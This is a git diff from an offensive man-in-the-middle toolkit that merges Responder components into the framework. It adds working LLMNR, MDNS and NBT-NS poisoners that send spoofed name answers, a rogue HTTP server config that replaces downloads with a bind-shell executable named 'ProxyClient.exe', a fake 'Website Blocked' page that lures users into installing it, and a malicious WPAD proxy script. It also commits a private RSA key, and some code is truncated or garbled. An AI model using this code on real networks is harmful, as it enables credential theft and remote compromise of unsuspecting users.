diff --git a/config/mitmf.conf b/config/mitmf.conf
index cad2b4c..9ea8033 100644
--- a/config/mitmf.conf
+++ b/config/mitmf.conf
@@ -20,53 +20,6 @@
host = 127.0.0.1
port = 9999
- [[HTTP]]
-
- #
- # Here you can configure MITMf's internal HTTP server
- # Note: changing the port number might break certain plugins
-
- port = 80
-
- [[SMB]]
-
- #
- # Here you can configure MITMf's internal SMB server
- #
-
- port = 445
- mode = normal # Can be set to Normal or Karma
-
- # Set a custom challenge
- Challenge = 1122334455667788
-
- [[[Shares]]] # Only parsed if type = Normal
-
- #
- # You can define shares here
- #
-
- # [[[[Share1]]]] #Share name
- # readonly = yes #Be very careful if you set this to no!
- # path = /tmp #Share path
-
- # [[[[Share2]]]]
- # readonly = yes
- # path = /tmp
-
- [[[Karma]]] # Only parsed if type = Karma
-
- #
- # Here you can configure the Karma-SMB server
- #
-
- defaultfile = '' #Path to the file to serve if the requested extension is not specified below (don't comment out)
-
- # exe = /tmp/evil.exe
- # dll = /tmp/evil.dll
- # ini = /tmp/desktop.ini
- # bat = /tmp/evil.bat
-
[[DNS]]
#
@@ -154,32 +107,63 @@
[Responder]
- #Set these values to On or Off, so you can control which rogue authentication server is turned on.
- MSSQL = On
+ #Servers to start
+ SQL = On
+ HTTPS = On
Kerberos = On
- FTP = On
- POP = On
- SMTP = On #Listens on 25/TCP, 587/TCP
- IMAP = On
- LDAP = On
+ FTP = On
+ POP = On
+ SMTP = On
+ IMAP = On
+ LDAP = On
- #Set this option with your in-scope targets (default = All)
- #Ex. RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
+ #Custom challenge
+ Challenge = 1122334455667788
+
+ #Specific IP Addresses to respond to (default = All)
+ #Example: RespondTo = 10.20.1.100-150, 10.20.3.10
RespondTo =
- #Set this option with specific NBT-NS/LLMNR names to answer to (default = All)
- #Ex. RespondTo = WPAD,DEV,PROD,SQLINT
+ #Specific NBT-NS/LLMNR names to respond to (default = All)
+ #Example: RespondTo = WPAD, DEV, PROD, SQLINT
RespondToName =
- #DontRespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
+ #Specific IP Addresses not to respond to (default = None)
+ #Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
DontRespondTo =
- #Set this option with specific NBT-NS/LLMNR names not to respond to (default = None)
- #Ex. DontRespondTo = NAC, IPS, IDS
+ #Specific NBT-NS/LLMNR names not to respond to (default = None)
+ #Example: DontRespondTo = NAC, IPS, IDS
DontRespondToName =
- #Set your custom PAC script
- WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}'
+ [[HTTP Server]]
+
+ #Set to On to always serve the custom EXE
+ Serve-Always = Off
+
+ #Set to On to replace any requested .exe with the custom EXE
+ Serve-Exe = On
+
+ #Set to On to serve the custom HTML if the URL does not contain .exe
+ Serve-Html = Off
+
+ #Custom HTML to serve
+ HtmlFilename = config/responder/AccessDenied.html
+
+ #Custom EXE File to serve
+ ExeFilename = config/responder/BindShell.exe
+
+ #Name of the downloaded .exe that the client will see
+ ExeDownloadName = ProxyClient.exe
+
+ #Custom WPAD Script
+ WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}'
+
+ [[HTTPS Server]]
+
+ #Configure SSL Certificates to use
+ SSLCert = config/responder/responder.crt
+ SSLKey = config/responder/responder.key
[AppCachePoison]
# HTML5 AppCache poisioning attack
diff --git a/config/responder/AccessDenied.html b/config/responder/AccessDenied.html
new file mode 100644
index 0000000..d79f811
--- /dev/null
+++ b/config/responder/AccessDenied.html
@@ -0,0 +1,31 @@
+
+
+Website Blocked: ISA Proxy Server
+
+
+
+
+
+
+
New Security Policy: Website Blocked
+
+
+
+
- Access has been blocked. Please download and install the new Proxy Client in order to access internet resources.
+
+
+
+
+
+
+
+
diff --git a/config/responder/BindShell.exe b/config/responder/BindShell.exe
new file mode 100644
index 0000000..b1a8e63
Binary files /dev/null and b/config/responder/BindShell.exe differ
diff --git a/config/responder/gen-self-signed-cert.sh b/config/responder/gen-self-signed-cert.sh
new file mode 100755
index 0000000..c9b948a
--- /dev/null
+++ b/config/responder/gen-self-signed-cert.sh
@@ -0,0 +1,3 @@
+#!/bin/bash
+openssl genrsa -out responder.key 2048
+openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/"
diff --git a/config/responder/responder.crt b/config/responder/responder.crt
new file mode 100644
index 0000000..86d9172
--- /dev/null
+++ b/config/responder/responder.crt
@@ -0,0 +1,18 @@
+-----BEGIN CERTIFICATE-----
+MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw
+NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC
+AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k
+sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP
+2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC
+6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg
+WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF
+N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU
+YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm
+6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0
+YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8
+koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335
+4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw
+YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW
+HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v
+u0/CRCN/lg==
+-----END CERTIFICATE-----
diff --git a/config/responder/responder.key b/config/responder/responder.key
new file mode 100644
index 0000000..f112a74
--- /dev/null
+++ b/config/responder/responder.key
@@ -0,0 +1,27 @@
+-----BEGIN RSA PRIVATE KEY-----
+MIIEowIBAAKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k
+sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP
+2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC
+6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg
+WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF
+N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABAoIBABuAkDTUj0nZpFLS
+1RLvqoeamlcFsQ+QzyRkxzNYEimF1rp4rXiYJuuOmtULleogm+dpQsA9klaQyEwY
+kowTqG3ZO8kTFwIr9nOqiXENDX3FOGnchwwfaOz0XlNhncFm3e7MKA25T4UeI02U
+YBPS75NspHb3ltsVnqhYSYyv3w/Ml/mDz+D76dRgT6seLEOTkKwZj7icBR6GNO1R
+FLbffJNE6ZcXI0O892CTVUB4d3egcpSDuaAq3f/UoRB3xH7MlnEPfxE3y34wcp8i
+erqm/8uVeBOnQMG9FVGXBJXbjSjnWS27sj/vGm+0rc8c925Ed1QdIM4Cvk6rMOHQ
+IGkDnvECgYEA4e3B6wFtONysLhkG6Wf9lDHog35vE/Ymc695gwksK07brxPF1NRS
+nNr3G918q+CE/0tBHqyl1i8SQ/f3Ejo7eLsfpAGwR9kbD9hw2ViYvEio9dAIMVTL
+LzJoSDLwcPCtEOpasl0xzyXrTBzWuNYTlfvGkyd2mutynORRIZPhgHkCgYEA00Q9
+cHBkoBOIHF8XHV3pm0qfwuE13BjKSwKIrNyKssGf8sY6bFGhLSpTLjWEMN/7B+S1
+5IC0apiGjHNK6Z51kjKhEmSzCg8rXyULOalsyo2hNsMA+Lt1g72zJIDIT/+YeKAf
+s85G6VgMtNLozNjx7C1eMugECJ+rrpRVpIe1kJcCgYAr+I0cQtvSDEjKc/5/YMje
+ldQN+4Z82RRkwYshsKBTEXb6HRwMrwIhGxCq8LF59imMUkYrRSjFhcXFSrZgasr2
+VVz0G4wGf7+flt1nv7GCO5X+uW1OxJUC64mWO6vGH2FfgG0Ed9Tg3x1rY9V6hdes
+AiOEslKIFjjpRhpwMYra6QKBgQDLFO/SY9f2oI/YZff8PMhQhL1qQb7aYeIjlL35
+HM8e4k10u+RxN06t8d+frcXyjXvrrIjErIvBY/kCjdlXFQGDlbOL0MziQI66mQtf
+VGPFmbt8vpryfpCKIRJRZpInhFT2r0WKPCGiMQeV0qACOhDjrQC+ApXODF6mJOTm
+kaWQ5QKBgHE0pD2GAZwqlvKCM5YmBvDpebaBNwpvoY22e2jzyuQF6cmw85eAtp35
+f92PeuiYyaXuLgL2BR4HSYSjwggxh31JJnRccIxSamATrGOiWnIttDsCB5/WibOp
+MKuFj26d01imFixufclvZfJxbAvVy4H9hmyjgtycNY+Gp5/CLgDC
+-----END RSA PRIVATE KEY-----
diff --git a/core/configwatcher.py b/core/configwatcher.py
index 540b337..978d170 100644
--- a/core/configwatcher.py
+++ b/core/configwatcher.py
@@ -22,7 +22,7 @@ from mitmflib.watchdog.observers import Observer
from mitmflib.watchdog.events import FileSystemEventHandler
from configobj import ConfigObj
-class ConfigWatcher(FileSystemEventHandler, object):
+class ConfigWatcher(FileSystemEventHandler):
@property
def config(self):
diff --git a/core/mitmfapi.py b/core/mitmfapi.py
index e43ff49..710ae98 100644
--- a/core/mitmfapi.py
+++ b/core/mitmfapi.py
@@ -28,7 +28,7 @@ import sys
from flask import Flask
from core.configwatcher import ConfigWatcher
-from core.sergioproxy.ProxyPlugins import ProxyPlugins
+from core.proxyplugins import ProxyPlugins
app = Flask(__name__)
diff --git a/core/netcreds/NetCreds.py b/core/netcreds.py
similarity index 100%
rename from core/netcreds/NetCreds.py
rename to core/netcreds.py
diff --git a/core/netcreds/README.md b/core/netcreds/README.md
deleted file mode 100644
index e5e5871..0000000
--- a/core/netcreds/README.md
+++ /dev/null
@@ -1,64 +0,0 @@
-Thoroughly sniff passwords and hashes from an interface or pcap file. Concatenates fragmented packets and does not rely on ports for service identification.
-
-| Screenshots |
-|:-----:|
-|  |
-|  |
-
-###Sniffs
-
-* URLs visited
-* POST loads sent
-* HTTP form logins/passwords
-* HTTP basic auth logins/passwords
-* HTTP searches
-* FTP logins/passwords
-* IRC logins/passwords
-* POP logins/passwords
-* IMAP logins/passwords
-* Telnet logins/passwords
-* SMTP logins/passwords
-* SNMP community string
-* NTLMv1/v2 all supported protocols like HTTP, SMB, LDAP, etc
-* Kerberos
-
-
-###Examples
-
-Auto-detect the interface to sniff
-
-```sudo python net-creds.py```
-
-Choose eth0 as the interface
-
-```sudo python net-creds.py -i eth0```
-
-Ignore packets to and from 192.168.0.2
-
-```sudo python net-creds.py -f 192.168.0.2```
-
-Read from pcap
-
-```python net-creds.py -p pcapfile```
-
-
-####OSX
-
-Credit to [epocs](https://github.com/epocs):
-```
-sudo easy_install pip
-sudo pip install scapy
-sudo pip install pcapy
-brew install libdnet --with-python
-mkdir -p /Users//Library/Python/2.7/lib/python/site-packages
-echo 'import site; site.addsitedir("/usr/local/lib/python2.7/site-packages")' >> /Users//Library/Python/2.7/lib/python/site-packages/homebrew.pth
-sudo pip install pypcap
-brew tap brona/iproute2mac
-brew install iproute2mac
-```
-Then replace line 74 '/sbin/ip' with '/usr/local/bin/ip'.
-
-
-####Thanks
-* Laurent Gaffie
-* psychomario
diff --git a/core/netcreds/__init__.py b/core/netcreds/__init__.py
deleted file mode 100644
index e69de29..0000000
diff --git a/core/packetparser.py b/core/packetfilter.py
similarity index 88%
rename from core/packetparser.py
rename to core/packetfilter.py
index 0a8b1af..e8f0d5d 100644
--- a/core/packetparser.py
+++ b/core/packetfilter.py
@@ -6,10 +6,10 @@ from scapy.all import *
from traceback import print_exc
from netfilterqueue import NetfilterQueue
-formatter = logging.Formatter("%(asctime)s [PacketParser] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
-log = logger().setup_logger("PacketParser", formatter)
+formatter = logging.Formatter("%(asctime)s [PacketFilter] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
+log = logger().setup_logger("PacketFilter", formatter)
-class PacketParser:
+class PacketFilter:
def __init__(self, filter):
self.filter = filter
diff --git a/core/poisoners/arp/ARPpoisoner.py b/core/poisoners/ARP.py
similarity index 100%
rename from core/poisoners/arp/ARPpoisoner.py
rename to core/poisoners/ARP.py
diff --git a/core/poisoners/dhcp/DHCPpoisoner.py b/core/poisoners/DHCP.py
similarity index 100%
rename from core/poisoners/dhcp/DHCPpoisoner.py
rename to core/poisoners/DHCP.py
diff --git a/core/poisoners/icmp/ICMPpoisoner.py b/core/poisoners/ICMP.py
similarity index 100%
rename from core/poisoners/icmp/ICMPpoisoner.py
rename to core/poisoners/ICMP.py
diff --git a/core/poisoners/LLMNR.py b/core/poisoners/LLMNR.py
new file mode 100644
index 0000000..930593e
--- /dev/null
+++ b/core/poisoners/LLMNR.py
@@ -0,0 +1,94 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+import socket
+import struct
+import core.responder.settings
+import core.responder.fingerprint
+
+from core.reponder.packets import LLMNR_Ans
+from core.responder.odict import OrderedDict
+from SocketServer import BaseRequestHandler
+from core.responder.utils import *
+
+
+def Parse_LLMNR_Name(data):
+ NameLen = struct.unpack('>B',data[12])[0]
+ Name = data[13:13+NameLen]
+ return Name
+
+def IsOnTheSameSubnet(ip, net):
+ net = net+'/24'
+ ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
+ netstr, bits = net.split('/')
+ netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
+ mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
+ return (ipaddr & mask) == (netaddr & mask)
+
+def IsICMPRedirectPlausible(IP):
+ dnsip = []
+ for line in file('/etc/resolv.conf', 'r'):
+ ip = line.split()
+ if len(ip) < 2:
+ continue
+ if ip[0] == 'nameserver':
+ dnsip.extend(ip[1:])
+ for x in dnsip:
+ if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
+ print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
+ print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
+ print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
+ else:
+ pass
+
+if settings.Config.AnalyzeMode:
+ IsICMPRedirectPlausible(settings.Config.Bind_To)
+
+# LLMNR Server class
+class LLMNRServer(BaseRequestHandler):
+
+ def handle(self):
+ data, soc = self.request
+ Name = Parse_LLMNR_Name(data)
+
+ # Break out if we don't want to respond to this host
+ if RespondToThisHost(self.client_address[0], Name) is not True:
+ return None
+
+ if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
+
+ if settings.Config.Finger_On_Off:
+ Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
+ else:
+ Finger = None
+
+ # Analyze Mode
+ if settings.Config.AnalyzeMode:
+ LineHeader = "[Analyze mode: LLMNR]"
+ print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
+
+ # Poisoning Mode
+ else:
+ Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
+ Buffer.calculate()
+ soc.sendto(str(Buffer), self.client_address)
+ LineHeader = "[*] [LLMNR]"
+
+ print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
+
+ if Finger is not None:
+ print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
+ print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
diff --git a/core/poisoners/MDNS.py b/core/poisoners/MDNS.py
new file mode 100644
index 0000000..959ac43
--- /dev/null
+++ b/core/poisoners/MDNS.py
@@ -0,0 +1,70 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+import struct
+import settings
+import socket
+
+from SocketServer import BaseRequestHandler
+from packets import MDNS_Ans
+from utils import *
+
+def Parse_MDNS_Name(data):
+ data = data[12:]
+ NameLen = struct.unpack('>B',data[0])[0]
+ Name = data[1:1+NameLen]
+ NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
+ Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
+ return Name+'.'+Name_
+
+def Poisoned_MDNS_Name(data):
+ data = data[12:]
+ Name = data[:len(data)-5]
+ return Name
+
+class MDNS(BaseRequestHandler):
+
+ def handle(self):
+
+ MADDR = "224.0.0.251"
+ MPORT = 5353
+
+ data, soc = self.request
+ Request_Name = Parse_MDNS_Name(data)
+
+ # Break out if we don't want to respond to this host
+ if RespondToThisHost(self.client_address[0], Request_Name) is not True:
+ return None
+
+ try:
+ # Analyze Mode
+ if settings.Config.AnalyzeMode:
+ if Parse_IPV6_Addr(data):
+ print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
+
+ # Poisoning Mode
+ else:
+ if Parse_IPV6_Addr(data):
+
+ Poisoned_Name = Poisoned_MDNS_Name(data)
+ Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To))
+ Buffer.calculate()
+ soc.sendto(str(Buffer), (MADDR, MPORT))
+
+ print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
+
+ except Exception:
+ raise
\ No newline at end of file
diff --git a/core/poisoners/NBTNS.py b/core/poisoners/NBTNS.py
new file mode 100644
index 0000000..0d550ec
--- /dev/null
+++ b/core/poisoners/NBTNS.py
@@ -0,0 +1,79 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+import socket
+import settings
+import fingerprint
+
+from packets import NBT_Ans
+from SocketServer import BaseRequestHandler
+from utils import *
+
+# Define what are we answering to.
+def Validate_NBT_NS(data):
+ if settings.Config.AnalyzeMode:
+ return False
+
+ if NBT_NS_Role(data[43:46]) == "File Server":
+ return True
+
+ if settings.Config.NBTNSDomain == True:
+ if NBT_NS_Role(data[43:46]) == "Domain Controller":
+ return True
+
+ if settings.Config.Wredirect == True:
+ if NBT_NS_Role(data[43:46]) == "Workstation/Redirector":
+ return True
+
+ else:
+ return False
+
+# NBT_NS Server class.
+class NBTNS(BaseRequestHandler):
+
+ def handle(self):
+
+ data, socket = self.request
+ Name = Decode_Name(data[13:45])
+
+ # Break out if we don't want to respond to this host
+ if RespondToThisHost(self.client_address[0], Name) is not True:
+ return None
+
+ if data[2:4] == "\x01\x10":
+
+ if settings.Config.Finger_On_Off:
+ Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
+ else:
+ Finger = None
+
+ # Analyze Mode
+ if settings.Config.AnalyzeMode:
+ LineHeader = "[Analyze mode: NBT-NS]"
+ print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
+
+ # Poisoning Mode
+ else:
+ Buffer = NBT_Ans()
+ Buffer.calculate(data)
+ socket.sendto(str(Buffer), self.client_address)
+ LineHeader = "[*] [NBT-NS]"
+
+ print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
+
+ if Finger is not None:
+ print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
+ print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
diff --git a/core/poisoners/arp/__init__.py b/core/poisoners/arp/__init__.py
deleted file mode 100644
index e69de29..0000000
diff --git a/core/poisoners/dhcp/__init__.py b/core/poisoners/dhcp/__init__.py
deleted file mode 100644
index e69de29..0000000
diff --git a/core/poisoners/icmp/__init__.py b/core/poisoners/icmp/__init__.py
deleted file mode 100644
index e69de29..0000000
diff --git a/core/sergioproxy/ProxyPlugins.py b/core/proxyplugins.py
similarity index 100%
rename from core/sergioproxy/ProxyPlugins.py
rename to core/proxyplugins.py
diff --git a/core/responder/common.py b/core/responder/common.py
deleted file mode 100644
index 904d865..0000000
--- a/core/responder/common.py
+++ /dev/null
@@ -1,102 +0,0 @@
-#common functions that are used throughout the Responder's code
-
-import os
-import re
-
-#Function used to write captured hashs to a file.
-def WriteData(outfile, data, user):
- if os.path.isfile(outfile) == False:
- with open(outfile,"w") as outf:
- outf.write(data)
- outf.write("\n")
- outf.close()
- if os.path.isfile(outfile) == True:
- with open(outfile,"r") as filestr:
- if re.search(user.encode('hex'), filestr.read().encode('hex')):
- filestr.close()
- return False
- if re.search(re.escape("$"), user):
- filestr.close()
- return False
- else:
- with open(outfile,"a") as outf2:
- outf2.write(data)
- outf2.write("\n")
- outf2.close()
-
-def Parse_IPV6_Addr(data):
- if data[len(data)-4:len(data)][1] =="\x1c":
- return False
- if data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
- return True
- if data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
- return True
- else:
- return False
-
-#Function name self-explanatory
-def Is_Finger_On(Finger_On_Off):
- if Finger_On_Off == True:
- return True
- if Finger_On_Off == False:
- return False
-
-def RespondToSpecificHost(RespondTo):
- if len(RespondTo)>=1 and RespondTo != ['']:
- return True
- else:
- return False
-
-def RespondToSpecificName(RespondToName):
- if len(RespondToName)>=1 and RespondToName != ['']:
- return True
- else:
- return False
-
-def RespondToIPScope(RespondTo, ClientIp):
- if ClientIp in RespondTo:
- return True
- else:
- return False
-
-def RespondToNameScope(RespondToName, Name):
- if Name in RespondToName:
- return True
- else:
- return False
-
-##Dont Respond to these hosts/names.
-def DontRespondToSpecificHost(DontRespondTo):
- if len(DontRespondTo)>=1 and DontRespondTo != ['']:
- return True
- else:
- return False
-
-def DontRespondToSpecificName(DontRespondToName):
- if len(DontRespondToName)>=1 and DontRespondToName != ['']:
- return True
- else:
- return False
-
-def DontRespondToIPScope(DontRespondTo, ClientIp):
- if ClientIp in DontRespondTo:
- return True
- else:
- return False
-
-def DontRespondToNameScope(DontRespondToName, Name):
- if Name in DontRespondToName:
- return True
- else:
- return False
-
-def IsOnTheSameSubnet(ip, net):
- net = net+'/24'
- ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
- netstr, bits = net.split('/')
- netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
- mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
- return (ipaddr & mask) == (netaddr & mask)
-
-def FindLocalIP(Iface):
- return OURIP
\ No newline at end of file
diff --git a/core/responder/fingerprint.py b/core/responder/fingerprint.py
new file mode 100644
index 0000000..24432a5
--- /dev/null
+++ b/core/responder/fingerprint.py
@@ -0,0 +1,68 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+import re
+import sys
+import socket
+import struct
+import string
+import logging
+
+from utils import *
+from odict import OrderedDict
+from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
+
+def OsNameClientVersion(data):
+ try:
+ length = struct.unpack('i", len(''.join(Packet)))+Packet
+ s.send(Buffer)
+ data = s.recv(2048)
+
+ if data[8:10] == "\x72\x00":
+ Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
+ Body = SMBSessionFingerData()
+ Body.calculate()
+
+ Packet = str(Header)+str(Body)
+ Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+
+ s.send(Buffer)
+ data = s.recv(2048)
+
+ if data[8:10] == "\x73\x16":
+ return OsNameClientVersion(data)
+ except:
+ print color("[!] ", 1, 1) +" Fingerprint failed"
+ return None
diff --git a/core/responder/fingerprinter/Fingerprint.py b/core/responder/fingerprinter/Fingerprint.py
deleted file mode 100644
index 8eda227..0000000
--- a/core/responder/fingerprinter/Fingerprint.py
+++ /dev/null
@@ -1,121 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see .
-import re,sys,socket,struct,string
-from socket import *
-from ..odict import OrderedDict
-from ..packet import Packet
-
-def longueur(payload):
- length = struct.pack(">i", len(''.join(payload)))
- return length
-
-class SMBHeader(Packet):
- fields = OrderedDict([
- ("proto", "\xff\x53\x4d\x42"),
- ("cmd", "\x72"),
- ("error-code", "\x00\x00\x00\x00" ),
- ("flag1", "\x00"),
- ("flag2", "\x00\x00"),
- ("pidhigh", "\x00\x00"),
- ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("reserved", "\x00\x00"),
- ("tid", "\x00\x00"),
- ("pid", "\x00\x00"),
- ("uid", "\x00\x00"),
- ("mid", "\x00\x00"),
- ])
-
-class SMBNego(Packet):
- fields = OrderedDict([
- ("wordcount", "\x00"),
- ("bcc", "\x62\x00"),
- ("data", "")
- ])
-
- def calculate(self):
- self.fields["bcc"] = struct.pack(".
-import re,socket,struct
-from socket import *
-from odict import OrderedDict
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
-
-def longueur(payload):
- length = struct.pack(">i", len(''.join(payload)))
- return length
-
-class SMBHeader(Packet):
- fields = OrderedDict([
- ("proto", "\xff\x53\x4d\x42"),
- ("cmd", "\x72"),
- ("error-code", "\x00\x00\x00\x00" ),
- ("flag1", "\x00"),
- ("flag2", "\x00\x00"),
- ("pidhigh", "\x00\x00"),
- ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("reserved", "\x00\x00"),
- ("tid", "\x00\x00"),
- ("pid", "\x00\x00"),
- ("uid", "\x00\x00"),
- ("mid", "\x00\x00"),
- ])
-
-class SMBNego(Packet):
- fields = OrderedDict([
- ("wordcount", "\x00"),
- ("bcc", "\x62\x00"),
- ("data", "")
- ])
-
- def calculate(self):
- self.fields["bcc"] = struct.pack("i", len(''.join(payload)))
- return length
-
-class SMBHeader(Packet):
- fields = OrderedDict([
